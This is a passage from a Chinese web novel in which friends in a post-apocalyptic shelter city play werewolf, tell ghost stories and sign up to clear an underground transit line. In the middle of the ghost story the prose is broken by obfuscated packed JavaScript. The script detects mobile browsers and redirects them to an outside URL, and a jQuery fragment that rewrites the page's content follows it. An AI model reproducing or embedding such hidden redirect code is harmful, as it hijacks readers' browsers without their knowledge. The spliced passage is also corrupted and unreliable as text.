“科研,有时候是要为政治让渡的。”丁瀛无奈摊手,“不过现在好啦,不用再给那些人免费打工了,我堂堂博士,给他们端茶倒水,还要彻夜帮他们矫正那屎一样的实验数据,活该他们被遣送走!” 丁瀛夹起一片土豆,狠狠咬了一口,“终于可以专心搞自己的项目了,爽!” “哦对了。”林洗练想起来一件事,蹬蹬蹬跑上楼,捧着一个密封的金属罐子下来,“这个是从飞蛾幼虫毒腺里提取出来的毒汁,腐蚀性很强,你最近不是科研瓶颈吗?看看这东西能不能激发你的灵感。” 其实那些飞蛾的变色翅膀也很有研究价值,只是当时从洞穴逃命太过匆忙,没有时间去割一对带回来。 丁瀛看着罐子两眼放光,仿佛看到了毕业课题和奖学金在同时向自己招手,致谢词她都想好了——感谢她那与变异巨蛾大战三百回合最后掀了对方老巢的倒霉朋友。 丁瀛激动地抱住林洗练,“嗷谢谢林林,你真是太好了!” 林洗练被扑得一仰,差点倒过去,还好旁边坐的银狼眼疾手快扶了一把。 “知道你一直蹲官方交易点想收东西,这下可以放心了?” “可不是嘛!”丁瀛一拍手,“我就想收点好东西激发一下研究灵感,旧纪元设备或者变异生物组织都行,可这段时间来交易的质量都不高,愁死我了。” 要不是林洗练这一罐子毒液,她估计还得在官方交易点再熬个把月,坐班登记的工作人员都眼熟她了。 林洗练:“哎,东西可不是让你白嫖的,正好有件事拜托你。” 丁瀛:“说,肯定妥妥的!” 林洗练拿出一个盒子,里面是何余做的那只漂亮的机械蝴蝶。 “我想麻烦你把这个工艺品,连同它背后的故事一起,交给旧纪元博物馆。” 旧纪元博物馆,庇护城建立起来后,官方专门设立的机构。那里收藏着各种来自旧纪元的老物件,讲述着灾难年代的历史和人物事迹。 林洗练将一个储存器递给丁瀛,数据是琢尔整理,里面有何余的录像自白,以及他和庄蝶的聊天记录。 这是一个未曾谋面,却共抵风暴的故事,虽然主人公倒在了黎明前夕,但也许他们有家人,或者朋友,顺利从那个动荡年代幸存了下来,如果某一天能在博物馆看见故人的痕迹,也算是一种安慰吧。 周锐叹了口气,“灾难前夕,到处都是这样令人惋惜的错过。” 人们总以为还有时间,还有机会,可意外,从来都是猝不及防,倏忽降临。 “所以说,这年头,有好感看对眼了的就赶紧相爱。”丁瀛唏嘘,“别磨磨唧唧顾前顾后,等哪天人没了,才开始后悔为什么没有早点说出口。” “话粗理不粗。”陈一斯跟丁瀛碰了一个。 林洗练也端起了杯子,微微侧头时,目光与轻轻银狼撞上。 35. 真心话大查验 吃饱喝足,一群人准备找乐子玩游戏。 普通打牌没意思,也没法同时容纳这么多人。陈不苟双眼亮晶晶地看向林洗练,他知道她肯定有点子,以前看店无聊,都是林洗练搞些新奇桌游玩法两人打发时间。 “那就狼人杀呗。”林洗练随口提了个聚会经典款。 其实她对这个游戏并不热衷,甚至于,第一轮票选就发挥失常被投了出去。陈不苟在一旁捶胸顿足,“说好的并肩作战呢?是我没保住你啊小林子!” 经林洗练教育,已成为一位合格上帝的钟情:“不许跟场外玩家套近乎。” 林洗练给陈不苟送去一个“自求多福”的眼神,惬意地端着饮料去阳台吹风。 这个点卫星集市的小街上已经没有几盏亮灯,夜色裹挟的黑暗一路延伸,与尽头的荒野和废墟相融合。 果然,不多时,身后传来动静。一道高大的身影走到林洗练身边,也学着她倚靠在阳台栏杆上。 “你也被投死啦?”林洗练笑道。 银狼“嗯”了一声,“你规则教得太快,我没学会。” 林洗练:“看来你不擅长说谎。” 银狼:“很适合被盘问。” 有些事情就是心照不宣。 “好啊,那我问问你。”林洗练侧头,“在宏树疗养院那个人脑实验厂,你那些怪异举动是怎么回事?” 当时他们在病房里找线索,正常人谁会想着往床底下看?而银狼仿佛一早就知道床板下写着血字,还精准找到了被人藏在枕头里的纸条。 银狼顿了顿,“我和你说过,我小时候被关在实验室。” 那不是什么值得回味的记忆,疼痛和流血是家常便饭,没人清楚自己吃下的药,承受的实验代表什么,一群孩子挤在一个如同监牢的病房中,可能一觉醒来,身边就多了一具睡梦中死去的尸体。 银狼:“有些外面抓来的孩子,会写字。” 他们用小石子在墙上刻,前来巡查的人员直接上脚踹翻了带头者,暴力惩处一顿后,抹平了那个小小的角落。 慢慢的,孩子们学聪明了,躲在吱扭作响的床下刻字,每个字都尽量刻得小,期望这块床板永远不会被填满。 银狼:“有时候管理松弛,大家会偷偷藏垃圾,废纸,树叶,笔头……大多数都藏在枕头里,是可以相互交换的宝贝。” 他们的一切都被非法实验掠夺,没有属于自己的地方,只剩那一张病床,勉强算是个栖身之所。 这样的处境,与宏树疗养院那些受试者类似。 林洗练莫名想起陈一斯之前说,银狼在联合武装从不佩戴名牌,他没有要交代的家人朋友,从来都是独身一人。 “你问了我一个问题。”银狼转头,看向林洗练,“那我是不是也可以问一个?” 林洗练拖长音“嗯”了一声,“先说好,我比较擅长撒谎。” 银狼:“可刚刚游戏,你输了。” “那是技术失误。”林洗练面不改色,“不过没关系,你可以问问试试。” 银狼:“当时击杀洪哲那个变异体,李明岐说你跟我配合得很好的时候,你在想什么?” 林洗练一愣,没想到银狼会问这个。 或者说,她没想到对方还记得。 那时候李明岐说她勇敢果断,她失神了一瞬,想到当初自己刚穿越来时的狼狈不堪,是那一次次求生的本能,逼着她展露兽性,反击猎杀。 “我只是在想,不能每次危险一来我就躲,人哪能次次都有好运气。” 银狼看着林洗练,目光没有丝毫偏移,“申请查验。” 林洗练又是一愣,随即有些哭笑不得,“你刚才抽的身份牌又不是预言家,不给验。” 银狼微微垂了眼眸,轻轻道:“不可以吗?” 她知道他的身份,他的过去,有时候甚至比他自己都要清楚,可他对她的了解却浮于表面,仅限于现在。 “我也没说谎啊。”林洗练轻飘飘道。 “当时只是想到了,自己一路摸来卫星集市的惨样。” “我是从外面来的,一个不大不小的,社区团体,我们运气不错,根据地相对安全,资源丰富,新生的一代人甚至不太清楚外面的灾难。” “我走失了,也没有可能再回去,只能根据曾经在社区内听过的外界传言找寻庇护所,我知道丛林危险,可不得不进,知道食物污染,可不得不吃,我一点都不幸运,可我还是想活下来。” 以前在公司做项目,同事间聊天,说如果有一天真的天灾降临丧尸爆发,大家怎么办? 当时林洗练信誓旦旦,“那还是在灾难前直接给我一刀吧,早死早超生,我想痛快点。” 好几个同事表示赞同,那种情况下,活着可是遭老罪了。 可当真的穿越末世,林洗练又不知道哪来那么强的求生意识,也许是对这个世界还有期待,也许觉得情况还没到最糟糕的时候,她抱着“大不了原地抹脖”的想法,破罐子破摔地朝前走。 最绝望的时候,林洗练按着反复溃烂的伤口,脑袋因为炎症高烧滚烫,全然不顾高声会引来危险,崩溃不堪失声痛哭。 凭什么要她穿越到这里? 凭什么是她? 银狼又在林洗练脸上看到了那个眼神,厌弃,恼恨,迷茫,却又挣扎着自我劝说。 他情不自禁伸出手,想要替那双眼遮挡什么,却在即将触碰的前一秒回过神,硬生生变了路线,仅仅是接过了对方已经空了的饮料杯。 “不要多想。”银狼借着拿杯子的动作,站得近了些。 夜风吹过,林洗练说冷,银狼脱下外套披在她身上,落在她肩膀的手却没有移开。 一想到眼前这个人曾经可能因为求生意志削弱,直接无声无息地死在野外,银狼手上的力度情不自禁加重两分。 “至少,我很庆幸你活下来了。” “谢谢你,当时愿意勇敢求生。” 这个晚上林洗练和银狼在阳台站了许久,两人聊过去也聊未来,撑在栏杆上的手臂有意无意地碰在一起。 店里众人还在热热闹闹地玩游戏,陈不苟本想叫林洗练回来继续,被陈一斯一把拉住,“没眼色的小孩要挨揍,老实坐着。” 李明岐不怀好意鬼鬼祟祟往阳台上看,被琢尔伸手把脸推了回去,“我昨晚验了李明岐,铁狼无疑,票出去。” “哎别别别,我是一匹好人!” 钟情他们后半夜先撤了,剩下的几个赖着不走说要蹭一顿明天的早餐。大家抱了毯子被子打地铺,好好的装配店整得跟商场试睡区似的。 最后楼上的房间全空着,一个个全都去挤地铺,一群人抱着枕头百米冲刺抢位置,陈不苟为了不睡边上跟丁瀛“大打出手”。 陈一斯:“睡中间有什么好?左边磨牙右边梦话你都能听见。” “可是他说关了灯要讲鬼故事!” 丁瀛和陈不苟异口同声,异手同指谴责李明岐。 “哎,从前有座荒村闹鬼……” “啊啊啊你闭嘴我还没躺好!” 银狼是一群人里唯一一个不争不抢的,他看着林洗练找到一个称心如意的位置,拍拍枕头正准备躺下,便不动声色地拎着毯子坐在了她身边。 灯灭了,黑灯瞎火瞬间就有了鬼森森的氛围,只是李明岐的故事不够好,什么荒村孤坟,和尚借宿,完全就是堆砌恐怖元素。 林洗练越过丁瀛踢了他一脚,“你这道行不够,我来讲。” 还是那座荒村,还是那座孤坟,只是这次,坟前供了一碗白米饭,两根香烛似筷子一般插在饭上,点点火星在夜色里格外慎人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266472|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “饭是供给特定之人的,那香烛上刻了名字,如果是孤魂野鬼想混吃,就被会烛火烫伤。” 正说着,面前的两根香烛忽然微颤,仿佛有人触动,香灰落下,盖在白米饭上。 “嘘——正主动‘筷’了。” “卧槽卧槽卧槽!”丁瀛一个猛子扎进林洗练怀里,恨不得缩成一个团,“谁**摸我脚脖!?**的别让我逮到,我**真是***了啊! 林洗练拍拍丁瀛:“老一辈说遇到鬼了就要大声骂脏话,因为鬼怕狠人,恭喜你已经掌握了精髓。” “不好意思啊。”另一边的陈一斯鬼鬼祟祟探头,“想拉拉毯子来着,不小心摸错了。” 一看就是一个猛女在鬼故事的摧残下默默缩回了脚趾。 林洗练忽然有点后悔,她刚才就不该跟李明岐抢这差事,不然这会儿她也能装出几分害怕,再不经意地往后一缩,给身后的银狼贴个措手不及。 正想着,耳侧一道呼吸忽然微不可查地近了些许,林洗练偏过头,正对上银狼坦荡的目光。 “干嘛?” “害怕。” “我不怕。” “嗯,我怕。” 林洗练想笑,清了清嗓子,“行,那我不讲了,舞台还给李明岐。” 李明岐的故事实在不怎么的,不一会儿林洗练就被催眠了,梦里看见银狼披着个袈裟问她借宿,她一副蜘蛛精吃人不吐骨头的样子,勾住对方的衣领笑得不怀好意,“小哥哥,这里住宿可不免费。” 这位“出家人”闻言立刻轻车熟路脱了上衣,露出精壮的腱子肉。 “肉偿。” 林洗练被吓醒了,睁眼发现已经天光大亮。 昨天说要蹭早餐的几个人睡得正香,银狼不在,估计去晨跑了,陈一斯也起来了,正在楼上洗漱。 林洗练左脚踹李明岐,右脚够陈不苟,再来个坐位体前屈戳醒丁瀛,“昨晚鬼故事讲到几点啊?这太阳晒屁股了。” “不知道。”丁瀛扒了扒睡乱的头发,“我听到和尚驱魔就睡着了。” “啊?”李明岐打了个哈欠,“我昨天有讲这段吗?” “都起来了?”陈一斯从头上探头,“洗练刷牙准备吃饭吧。” 丁瀛:“陈姐你也会做饭?” “那当然不是了。”陈一斯指了指厨房,“银狼早上起来弄的,昨天没下锅的剩菜和原味罐罐一起煮的粥。” 林洗练听着新奇,没想到银狼在烹饪方面还挺有创意。 是的,她现在已经妥协到把一些出人意料的菜谱称为“创意”而不是“黑暗料理”的地步了。 罐罐粥听起来奇怪,但味道还可以,林洗练端了一碗坐在店铺门口喝,脑子正放空,李明岐忽然也端着碗来了。 “去了趟野外,感觉如何?” “还行。”林洗练道,“你们木山杨不错,结薪大方。” “那是,亏了谁也不能亏了向导。”李明岐往椅子上一靠,“接下来呢,准备干什么?” “怎么?”林洗练看向他,上下打量,“要给我介绍活?” “有好活,你不干?”李明岐似笑非笑。 “干啊,怎么不干。”林洗练收回目光,“先说说情况。” “官方发布的任务,危险系数小,赚钱稳。” “这好事能轮得上我?” “这不是有我在吗,看你是自己人,带上你。” “你也去?” “当然,两个名额,你,我。” 林洗练想问问具体薪资,结果还没开口,一道忽然黑影笼罩了她的脑袋,她转头,银狼面无表情地站在门口。 身穿运动装,手里提着一袋新鲜野菜,一看就是刚晨跑完又去了菜场,一副贤惠顾家的模样。 “你要和别人去野外?” 36. 【地道怪谈】清理交通线 林洗练本是翘着椅子坐,被银狼这一吓差点翻过去。 “没,没有,这不八字还没一撇呢……” 银狼默默上前扶住椅子,“你想去野外,下午我去酒吧找靠谱的任务,我陪你去。” 林洗练赶紧摆手:“啊不用,你这记忆刚恢复一点,就在装配店好好休……” 银狼眯了眯眼,“你能跟他去,不能跟我去?” “我不是那个意思……”林洗练脑子一抽,“那要不,我歇着,你俩去?” 银狼脸色更沉了两分,李明岐瞧着有趣,把笑憋回去咳了一声,正经道,“哎多大点事。” 他两手分别拍上林洗练和银狼的肩膀,还用力晃了晃,“一起去呗。” 林洗练转头,“你刚才不是说名额就两个吗?” “我说有两个名额,但没说就两个名额吧?” “……你还跟我玩文字游戏是吧?”林洗练翻白眼,把手里的碗往李明岐碗里一摞,“你,刷碗去!” “的嘞。” 李明岐说的那个任务,其实还真就是三个名额,具体消息是周锐给的,说是联合官方招聘人手清理交通线。 旧纪元地上地下的交通网络四通八达,自然重启之后,地表危险,基建工程不是上策,但地下的交通线却可以利用起来,如今雅东几大主要庇护城都是由这张网络连接起来的。 想要建立新的庇护城,物资运输要首先保障,每年联合官方都会征集人员清理旧纪元交通线,在其基础上修复设立站点。 地下的变异生物不像地表那样猖獗,虽然也有风险,但这种任务已经是相对来说比较安稳,且来钱快的了。 周锐:“这条交通线不是为了建立新庇护城,而是为了再添一条第四庇护城到第二庇护城的运输路线,工程年初就开始了,估计再有几个月就能挖通了。” 林洗练:“啊?都要竣工了,还招人吗?” 周锐:“说是工地上有几个人跑了,他们被分配清理一个分线口,是留给新庇护城到时候接入交通主网用的,据说工程量比较大,涨工资的金额没谈拢,于是——” 林洗练懂了,俗称尥蹶子。 周锐:“你们这次是一锤子买卖,只负责清理那个分线站口,完工就可以拿钱走人,不用跟着大部队一直挖。” 这正合林洗练的意,当天下午就跟李明岐去签了合同,银狼当然也跟着,眼看一切手续都办妥,林洗练却总觉得自己好像忘了什么事。 …… “什么!?”陈不苟拍案而起,“你们三个都去,单把我扔这?” “这不是,名额有限吗。”林洗练讪笑,“交通线那么多,要不,你等明年招聘?” “你们三个,串通一气!”陈不苟气得团团转,怒视李明岐,怒视林洗练,怒视……算了,对着银狼他不敢怒视,只能委委屈屈地坐下来。 “我好歹也算大佬亲传弟子,这做师父的也不带徒弟。” 银狼才不会告诉陈不苟他自己都差点没搭上这趟顺风车,让人跟着李明岐跑了,现在能保住自身就已经不错了,实在爱莫能助。 陈不苟:“什么时候走啊?” “三天后出发。” “这么快?离得远吗?能去探班吗?” “你当是什么工作,还探班?”林洗练把劳动合同卷成筒敲陈不苟脑袋,“放心吧,打工没有高低,专车直达工地。” 事实证明林洗练想多了,这年头,搬砖还想要专车?他们三个被安排蹭运送物资的特制小皮卡,走地下通道跟一堆机器零件一起在车斗里玩颠颠乐。 “我,觉得,我,要散,架了。”林洗练被颠得说话都卡。 银狼把手臂伸过去,本想垫在林洗练肩后让她有个缓冲,谁知被误解了意思,林洗练一把拽住,嘴里振振有词,“谢谢你的扶手,再不抓点什么我得被甩飞出去。” “还是太年轻。”李明岐啧啧摇头,抬起胳膊看了眼路线图,“再有半小时就到了,不知道会不会给我们休息时间,明天再上工。” 这点人文关怀官方还是有的,到工地后三人被塞了一大堆劳保用品,什么防护服,防护镜,防护鞋,还有头盔,又安排在小板房里上了两节安全教育课,再猝不及防进行了一次当堂测验,确认三人分数都及格了才放人。 “流程严格,但我还是有一种走过场的错觉。”林洗练看着成绩自我怀疑。 “那可不是吗?”李明岐斜她一眼,“填空题你就差没把银狼的名字都抄上去了。” 林洗练:“你没抄?你脸都快贴我答题卷上了。” “我那看的是你的答题卷吗?”李明岐冷哼一声,“我那分明看的是银狼的。” 林洗练:“……”李明岐你现在骂人真高级。 三人领了洗漱用品,分开去找自己的宿舍,这边都是双人间,男女分开,小板房说不上多舒适,但总比野外睡帐篷强。 林洗练找到了自己解锁器上的门牌号,本以为这个点大家应该都在施工现场,谁知道一推开门,正和一个女生对上。 “嗨。”对方主动打招呼。 林洗脸回过神,“不好意思,我以为这会儿房间里没人,就没敲门。” “没关系。”对方笑道,“你是新到的吧?负责人已经跟我说啦,自我介绍一下,我叫赵传雨,是防爆警卫队的队员。” 虽然地下的变异生物没有地面上多,但出于安全考虑,官方还是会给每个交通线清 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所谓的工地食堂,其实只是一个分发罐罐的摊位,门口象征性摆了几张桌子,大部分人都选择领了罐罐直接回宿舍。 官方直供的罐罐品质还不错,林洗练本来还以为会是原味罐罐大锅烩,倒是银狼在旁边淡淡来了句,“这次不能打兔子了。” 林洗练:“地下不比地上,有可以选择口味的罐罐我已经很知足了。” 李明岐在一旁啧啧摇头,凉凉道:“不解风情伤人心啊。” 银狼那是重口腹之欲的人吗?这会儿提起打兔子能是说给谁听的? 林洗练把罐罐拉开推给他,“吃你的饭吧。” 不远处赵传雨领着一个大高个正朝这边走,林洗练冲她挥了挥手,转头跟李明岐和银狼道:“那是我室友,刚认识的。” 赵传雨走近,众人相互打招呼。 林洗练:“这是我朋友,我们都是今天刚到的,李明岐,银狼。” “嗨。”赵传雨热情道,把身边的大高个往前推了推,“这是我搭档,卫许,快,跟大家打招呼。” “你好,你好,你也好。” 林洗练看着眼前大高乖巧的年轻男人,幻视过年家长带小朋友——去,叫人,大大方方的嗷。 赵传雨仔细看看银狼,又看看李明岐,赞叹于林洗练的眼光,“你是按颜值选朋友的吧,这两位不分伯仲,各有千秋。” 本以为这只是一种……比较特别的寒暄客气,谁知道赵传雨话锋一转,和银狼握手时直接扔下一枚重磅炸弹: “这个,我一见钟情了。”